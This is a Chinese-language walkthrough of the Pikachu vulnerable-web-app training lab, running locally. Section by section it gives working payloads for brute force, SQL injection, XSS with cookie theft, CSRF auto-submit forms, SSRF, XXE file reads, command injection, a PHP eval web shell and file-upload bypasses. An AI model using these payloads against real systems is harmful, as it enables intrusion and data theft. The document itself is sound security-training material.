pikachu  
一、环境配置 1 下载 
official::phpstudy 
official::pikachu 
 
2 数据库错误 
问题:Warning: mysqli_connect()
解决:
在phpstudy中新增一个数据库,名字最好是pikachu。 
配置./inc/config.inc.php文件中的数据库名、用户名、密码。 
 
问题:Fatal error: Uncaught Error: Call to a member function bind_param()
解决:访问http://127.0.0.1/pikachu/installl.php,重装数据库。
 
 
二、暴力破解 
用户信息在提示中。
 
1 表单 
步骤:
在网站中输入任意数据,使用burp suite进行抓包。 
将数据包发给Intruder。 
Positions:攻击参数选定username,password,攻击方式选择集束炸弹。 
Payloads:载入字典进行攻击。 
点击结果中的长度,正确的页面的长度和错误的是不一样的。找到不同的长度的界面,记下用户名和密码后到界面中进行验证。 
 
 
2 验证码(on server) 
服务器端验证,且验证码重发表不会改变。因此只需输入一次正确的验证码,然后抓包,按表单后续爆破步骤即可。
 
3 验证码(on client) 
客户端验证,仅在客户端验证。因此可以在前端输入正确验证码,或者直接禁用JS不输入验证码。后续抓包在数据包中可以不带有验证码,然后按表单后续爆破步骤即可。
 
4 token 
正常抓包,发现包中携带token信息。 
通过重发器修改账号或密码重复,发现响应包中出现csrf token error报错。同时会发现包中有一个标签:<input type="hidden" name="token" value="..." />。 
将该token带入到包中重发,发现不报csrf token error错误,可以猜测每次响应包的token的value是下一次的token值。 
将包发送给Intruder,选定username,password,token。因为每次的token只用一次,所以攻击方式选择音叉。 
Payloads:username和password不变。token的有效载荷类型选择递归搜索。 
Potions:Payload选择3(token),在请求引擎中修改线程数为1(因为token要由上一个请求产生)。在Grep-Extract中点击添加,找到<input type="hidden" name="token" value="..." />,选中value中的值,点击OK。 
攻击,验证结果。 
 
 
5 修复方法 
登陆错误次数过多锁定账户或IP。 
验证码在后端验证且需要刷新。 
 
 
 
三、Over Permission 1 水平越权 
越权方法:
正常登录任意一个用户。(用户信息在提示中) 
点击查看个人信息后发现url变成:http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF,修改username为其他账户名即可完成越权。 
 
 
if ( $_SESSION ['op' ]['username' ] == $_GET ['username' ]){     $username =escape ($link , $_GET ['username' ]); } else { return  ;}
 
2 垂直越权 
越权方法:
登录admin 
添加用户和删除刚刚添加的用户,发现添加用户的url为http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin_edit.php,删除用户的url为http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin.php?id=25。多次创建删除后发现id会递增,所以下次删除的id应当是最后一个删除的id+1 
登录pikachu,直接访问http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin_edit.php,发现可以访问成功,添加一个用户。 
登录admin发现用户存在,表明可以越权添加用户。 
登录pikachu,直接访问http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin.php?id=27,再次登录admin,发现用户依旧存在,说明不能越权删除用户。 
 
 
if (!check_op2_login ($link ))if (!check_op2_login ($link )  ||  $_SESSION ['op2' ]['level' ] != 1 )
 
 
四、目录遍历 1 目录遍历 
遍历方法:
点击we're jarheads!,URL变成了http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=jarheads.php 
修改URL为http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../burteforce/bf_form.php,发现可以跳转到其他页面。 
修改URL为http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../../../../../Windows/win.ini,可以获得系统文件信息。 
 
 
$filename  = basename ($filename );if (preg_match ('/^[a-zA-Z0-9_]+$/' , $filename )){}
 
 
五、SQL注入 1 数字型注入 # POST请求如下 # 1. 列数 id= 1  order  by  3 #& submit= % E6% 9 F% A5% E8% AF% A2 # 2. 库名 id= 1  union  select  database(),2 #& submit= % E6% 9 F% A5% E8% AF% A2 # 3. 表名 id= 1  union  select  group_concat(table_name),2  from  information_schema.tables where  table_schema =  database()#& submit= % E6% 9 F% A5% E8% AF% A2 # 4. 列名 id= 1  union  select  group_concat(column_name),2  from  information_schema.columns where  table_schema =  database() and  table_name =  "users"#& submit= % E6% 9 F% A5% E8% AF% A2 # 5. 数据 id= 1  union  select  group_concat(username," ",password),2  from  users#& submit= % E6% 9 F% A5% E8% AF% A2 
 
2 字符型注入 # GET 请求如下 # 1. 列数 ?name= 1 ' order by 3#&submit=%E6%9F%A5%E8%AF%A2  # 2.库名 ?name=1'  union  select  database(),2 #& submit= % E6% 9 F% A5% E8% AF% A2# 3. 表名 ?name= 1 ' union select group_concat(table_name),2 from information_schema.tables where table_schema = database()#&submit=%E6%9F%A5%E8%AF%A2  # 4.列名 ?name=1'  union  select  group_concat(column_name),2  from  information_schema.columns where  table_schema =  database() and  table_name =  "users"#& submit= % E6% 9 F% A5% E8% AF% A2# 5. 数据 ?name= 1 ' union select group_concat(username," ",password),2 from users -- &submit=%E6%9F%A5%E8%AF%A2  
 
3 搜索型注入 # 同理于字符型,把name= 1 ' 改成 name=1%' ,同时本次注入的表有三列,所以要select 三个参数 ?name= 1 % ' union select group_concat(username," ",password),2,3 from users -- &submit=%E6%9F%A5%E8%AF%A2  
 
4 xx型注入 # 同理于字符型,只是把name= 1 ' 改成 name=1' )即可 ?name= 1 % ' union select group_concat(username," ",password),2 from users -- &submit=%E6%9F%A5%E8%AF%A2  
 
5 “insert/update”注入 
报错:Warning:  Use of undefined constant MYSQL_ASSOC...\sqli_mem.php on line 66
解决方法:修改sqli_mem.php的66行为$data=mysqli_fetch_array($result, MYSQLI_ASSOC);
报错:Warning:  Use of undefined constant MYSQL_ASSOC ...\sqli_edit.php on line 75
解决方法:修改sqli_edit.php的75行为$data=mysqli_fetch_array($result, MYSQLI_ASSOC);
 
# insert 的URL为:http:/ / 127.0 .0 .1 / pikachu/ vul/ sqli/ sqli_iu/ sqli_reg.php # POST请求如下 # 1. 猜闭合 username= xixi',' 111 ')#&password=a&sex=&phonenum=&email=&add=&submit=submit  # 2.库名 username=xixi'  or  updatexml(1 ,concat(0x7e ,(select  database()),0x7e ),1 ) or  '&password=a&sex=&phonenum=&email=&add=&submit=submit # 3.表名 username= '  or  updatexml(1 ,concat(0x7e ,substr((select  group_concat(table_name) from  information_schema.tables where  table_schema= database()),1 ,31 ),0x7e ),1 ) or  '&password=a&sex=&phonenum=&email=&add=&submit=submit # 4.列名 payload:username= '  or  updatexml(1 ,concat(0x7e ,substr((select  group_concat(column_name) from  information_schema.columns where  table_name= 'users' ),1 ,31 ),0x7e ),1 ) or  '&password=a&sex=&phonenum=&email=&add=&submit=submit # 5.数据 username= '  or  updatexml(1 ,concat(0x7e ,substr((select  group_concat(concat(username,';' ,password)) from  users),1 ,31 ),0x7e ),1 ) or  '&password=a&sex=&phonenum=&email=&add=&submit=submit # update的URL为:http://127.0.0.1/pikachu/vul/sqli/sqli_iu/sqli_edit.php # POST请求如下 # 1.猜闭合 sex=1''&phonenum=phone&add=301&email=%E7%BF%BB%E6%96%97%E5%A4%A7%E8%A1%97%E7%BF%BB%E6%96%97%E8%8A%B1%E5%9B%AD&submit=submit # 2.库名 sex=1'  and  updatexml(1 ,concat(0x7e ,(select  database()),0x7e ),1 ) # & phonenum= phone& add = 301 & email= % E7% BF% BB% E6% 96 % 97 % E5% A4% A7% E8% A1% 97 % E7% BF% BB% E6% 96 % 97 % E8% 8 A% B1% E5% 9 B% AD& submit= submit# 3. 表名 sex= 1 ' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) #&phonenum=phone&add=301&email=%E7%BF%BB%E6%96%97%E5%A4%A7%E8%A1%97%E7%BF%BB%E6%96%97%E8%8A%B1%E5%9B%AD&submit=submit  # 4.列名 sex=1'  and  updatexml(1 ,concat(0x7e ,substr((select  group_concat(column_name) from  information_schema.columns where  table_name= 'users' ),1 ,31 ),0x7e ),1 ) #& phonenum= phone& add = 301 & email= % E7% BF% BB% E6% 96 % 97 % E5% A4% A7% E8% A1% 97 % E7% BF% BB% E6% 96 % 97 % E8% 8 A% B1% E5% 9 B% AD& submit= submit# 5. 数据 sex= 1 ' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,' ^ ',password)) from users),1,31),0x7e),1) #&phonenum=phone&add=301&email=%E7%BF%BB%E6%96%97%E5%A4%A7%E8%A1%97%E7%BF%BB%E6%96%97%E8%8A%B1%E5%9B%AD&submit=submit  
 
6 “delete”注入 # GET 请求如下 # 1. 库名 ?id= 59  and  updatexml(1 ,concat(0x7e ,(select  database()),0x7e ),1 )# # 2. 表名 ?id= 59  and  updatexml(1 ,concat(0x7e ,substr((select  group_concat(table_name) from  information_schema.tables where  table_schema= database()),1 ,31 ),0x7e ),1 ) # # 3. 列名 ?id= 59  and  updatexml(1 ,concat(0x7e ,substr((select  group_concat(column_name) from  information_schema.columns where  table_name= 'users' ),1 ,31 ),0x7e ),1 )# # 4. 数据 ?id= 59  and  updatexml(1 ,concat(0x7e ,substr((select  group_concat(concat(username,'^' ,password)) from  users),1 ,31 ),0x7e ),1 )# 
 
先登录,登录会发一个包,登录成功会再发一个包。抓取第二个包进行操作。
 
# 修改User - Agent # 1. 猜闭合 ''  and  1 = 2  ## 2. 库名 ' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or ' # 3. 表名 ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or ' # 4. 列名 ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=' users'),1,31),0x7e),1) or ' # 5. 数据 ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'  ',password)) from users),1,31),0x7e),1) or ' 
 
8 布尔盲注 # 1. 库名 python sqlmap - u 172.22 .124 .198 / pikachu/ vul/ sqli/ sqli_blind_b.php  # 2. 表名 python sqlmap - u 172.22 .124 .198 / pikachu/ vul/ sqli/ sqli_blind_b.php - D 'pikachu'   # 3. 列名 python sqlmap - u 172.22 .124 .198 / pikachu/ vul/ sqli/ sqli_blind_b.php - D 'pikachu'  - T 'users'   # 4. 数据 python sqlmap - u 172.22 .124 .198 / pikachu/ vul/ sqli/ sqli_blind_b.php - D 'pikachu'  - T 'users'  - C 'username,password'   
 
9 时间盲注 
同理布尔盲注,修改网址即可。
 
# 4. 数据 python sqlmap - u 172.22 .124 .198 / pikachu/ vul/ sqli/ sqli_blind_t.php - D 'pikachu'  - T 'users'  - C 'username,password'   
 
10 宽字节注入 # 1. 列数 name= 1 % 81 ' order by 3 # &submit=%E6%9F%A5%E8%AF%A2  # 2.库名 name=1%81'  union  select  database(),1  # & submit= % E6% 9 F% A5% E8% AF% A2# 后续是理论payload,实际运行时会报错。 # 3. 表名 name= 1 % 81 ' union select group_concat(table_name),2 from information_schema.tables where table_schema = database() # &submit=%E6%9F%A5%E8%AF%A2  # 4.列名 name=1%81'  union  select  group_concat(column_name),2  from  information_schema.columns where  table_schema =  database() and  table_name =  "users"#& submit= % E6% 9 F% A5% E8% AF% A2# 5. 数据 name= 1 % 81 ' union select group_concat(username," ",password),2 from users # &submit=%E6%9F%A5%E8%AF%A2  
 
六、PHP反序列化 1 反序列化 
通过源码可知服务器会反序列化S类构造的对象并输出系统的test值,所以可以按下列代码构造payload。
 
<?php class  S  {    public  $test  = "" ;     public  function  __construct ($test  )      {        $this ->test = $test ;     } } $user  = new  S ("<script>alert('123')</script>" );echo  serialize ($user );?> 
 
 
七、XSS漏洞 1 反射型xss(get) 
前端有长度限制。
可以选择F12解除限制。也可以选择直接构造数据包。
payload:?message=<script>alert('111')</script>&submit=submit
 
2 反射型xss(post) 
登录后,抓包看post参数,修改即可。
因为此次登录有cookie,所以可以输出cookie对cookie进行盗取。
payload:message=<script>alert(document.cookie);</script>&submit=submit
 
3 存储型xss 
此次构造的语句会存储在服务器中,所以每次打开页面都会触发。
payload:?message=<script>alert('111')</script>&submit=submit
 
4 DOM型xss 
任意输入,F12查看源码,发现主要源码为:document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
所以只需构造payload闭合左右即可。
不要用引号包裹输出的值,引号会被过滤。可以直接不写引号或者用反引号。
 
payload:'><img  src =x  onerror =alert(111)   payload :'><img  src =x  onerror =alert( `111 `) 
 
5 DOM型xss-x 
任意输入,弹出链接。点击后出现另一条链接。
F12查看源码,根据源码发现和上一题类似,并且这次的参数在URL中。所以只需在点击第一个链接后把构造payload后回车,页面刷新。然后再次点击第一个链接后就会触发漏洞。
 
payload:?text='><img  src ="error"  onerror ='alert(`xss`)#   
 
6 xss之盲打 
抓包,修改参数,直接输入payload:content=<script>alert('Opinion is an injection point')</script>&name=<script>alert('Name is an injection point')</script>&submit=%E6%8F%90%E4%BA%A4。
没有回显,查看提示是要到后台进行查看。进入后台查看,发现弹出Opinion is an injection point,说明看法输入框和大名输入框都是注入点。
 
7 xss之过滤 
输入<> . * () script img src onerrror,发现只剩下img src onerrror,说明前面的字符可能被过滤。
所以直接用:?message=<img src="1" onerror=alert('111');>&submit=submit
 
8 xss之htmlspecialchars 
有htmlspecialchars()函数对输入进行编码,但是单引号没有被编码且该语句插入在a标签中。
所以可以用如下payload:?message=' onclick='alert(123)&submit=submit。闭合引号,将语句插入a标签。
 
9 xss之href输出 
正常输入,F12,发现左右尖括号和单引号被编码了。因为数据直接被插入到a的href中,所以可以直接构造一个javascript:alert('123')插入到href中被执行。
所以payload为:?message=javascript:alert('123')&submit=submit
 
10 xss值js输出 
随便输入数据,回车。F12,发现数据被插在了$ms='  ';里面
所以可以考虑闭合来插入一条独立语句。
所以payload为:http://127.0.0.1/pikachu/vul/xss/xss_04.php?message=';alert('1');//&submit=submit
 
 
八、CSRF漏洞 
报错:Warning: Use of undefined constant MYSQL_ASSOC...
解决方法:修改对应文件夹下的csrf_get_edit.php的对应行为$data=mysqli_fetch_array($result, MYSQLI_ASSOC);
 
1 CSRF (get) 
依据原理,先登录,然后抓包,修改包,发现数据修改成功。说明有CSRF漏洞,攻击者可以在用户登录成功后,让用户点击恶意链接来发送构造后的包,从而达到攻击者修改用户信息的目的。
Payload:?sex=girl&phonenum=15988767673&add=nba+lakes&email=kobe%40pikachu.com&submit=submit
 
2 CSRF (post) 
同理get,只不过请求方式改变而已。
Payload:sex=girl&phonenum=15988767673&add=nba+lakes&email=kobe%40pikachu.com&submit=submit
 
<html >     <script >                                                                                                                  window.onload = function() {         document.getElementById("submit").click();         }      </script >                   <body >              <form  action ="http://ip/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"  method ="POST" >                     <input  type ="hidden"  name ="sex"  value ="girl"  />                 <input  type ="hidden"  name ="phonenum"  value ="12345678922"  />                 <input  type ="hidden"  name ="add"  value ="usa"  />                 <input  type ="hidden"  name ="email"  value ="xiannv@pikachu.com"  />              <input  type ="hidden"  name ="submit"  value ="submit"  />  	           <input  id ="submit"  type ="submit"  value ="Submit request"  style ="display:none" />                                  </form >      </body >  </html > 
 
3 CSRF Token 
此页面必须携带token,且新token每次都会在响应页面中。所以要多次修改数据,必须查看页面中的token,类似暴力破解的token生成。
payload:?sex=cat&phonenum=15988767673&add=nba+lakes&email=kobe%40pikachu.com&token=9993964ffb4e0353a8081347169&submit=submit
 
 
九、SSRF漏洞 1 SSRF(curl) 
点击链接,发现在url中可以包含http请求。
构造如下payload来测试端口是否开放:?url=http://127.0.0.1:3306。
也可以利用burp suite对端口进行大范围扫描。
 
2 SSRF(file_get_content) 
点击链接,发现在url中可以包含http请求。
因为该漏洞产生的函数是file_get_content,所以可以利用伪协议来读取文件。
payload:?file=php://filter/read=convert.base64-encode/resource=ssrf.php包含源码。
payload:?file:///c:/windows/win.ini读取系统文件。
 
 
十、URL重定向 1 不安全的URL跳转 
点击最后一个链接,直接修改url参数访问别的URL即可。
payload:?url=http://www.bilibili.com
 
 
十一、敏感信息泄露 1 IcanseeyourABC 
F12,找到密码栏对应的html,发现下面有账号和密码:lili/123456。
登录成功后,记录URL,退出登录。直接访问http://127.0.0.1/pikachu/vul/infoleak/abc.php,发现可以访问成功。
 
 
十二、XXE漏洞 1 XXE 
存在XXE漏洞,输入如下payload即可。
端口爆破时要在bp中开始攻击后,点击column——response received,查看响应时间,短表示开放。
 
<?xml version="1.0" ?>   <!DOCTYPE foo  [     <!ENTITY xxe  "xxe"  >  ]>   <foo > &xxe; </foo > <?xml version="1.0" ?>   <!DOCTYPE foo  [     <!ENTITY xxe  SYSTEM  "file:///c:/windows/win.ini"  >  ]>   <foo > &xxe; </foo > <?xml version="1.0" ?>   <!DOCTYPE foo  [     <!ENTITY xxe  SYSTEM  "php://filter/convert.base64-encode/resource=flag.php"  >  ]>   <foo > &xxe; </foo > <?xml version="1.0" ?>   <!DOCTYPE foo  [     <!ENTITY xxe  SYSTEM  "php://filter/convert.base64-encode/resource=flag.php"  >  ]>   <foo > &xxe<?xml version="1.0" ?>   <!DOCTYPE foo  [     <!ENTITY xxe  SYSTEM  "http://127.0.0.1:80"  >  ]>   <foo > &xxe; </foo > ;</foo > 
 
 
十三、RCE 1 exec “ping” 
Payload:ping 127.0.0.1|whoami
 
2 exec “eval” 
Payload:fputs(fopen('shell.php','w'),'<?php assert($_POST[fin]);?>');,然后蚁剑连接。
 
 
十四、文件包含 1 本地文件包含 
 ?filename=../../../../windows/win.ini&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
 
 
十五、文件上传 1 client check 
该题是前端验证。可以在做好payload后,修改文件后缀为jpg,再用bp抓包改回php即可。
文件内容为:<?php phpinfo(); ?>
 
2 MIME type 
该题为类型验证。做好payload后,修改文件后缀为jpg,再用bp抓包改回php即可。
文件内容为:<?php phpinfo(); ?>
 
3 getimagesize 
图片判断函数。可以用copy 1.jpg /b + 2.txt /a 3.jpg拼接后上传图片。然后利用之前的文件包含漏洞访问该图片即可执行里面的php代码。
2.txt的内容为<?php phpinfo(); ?>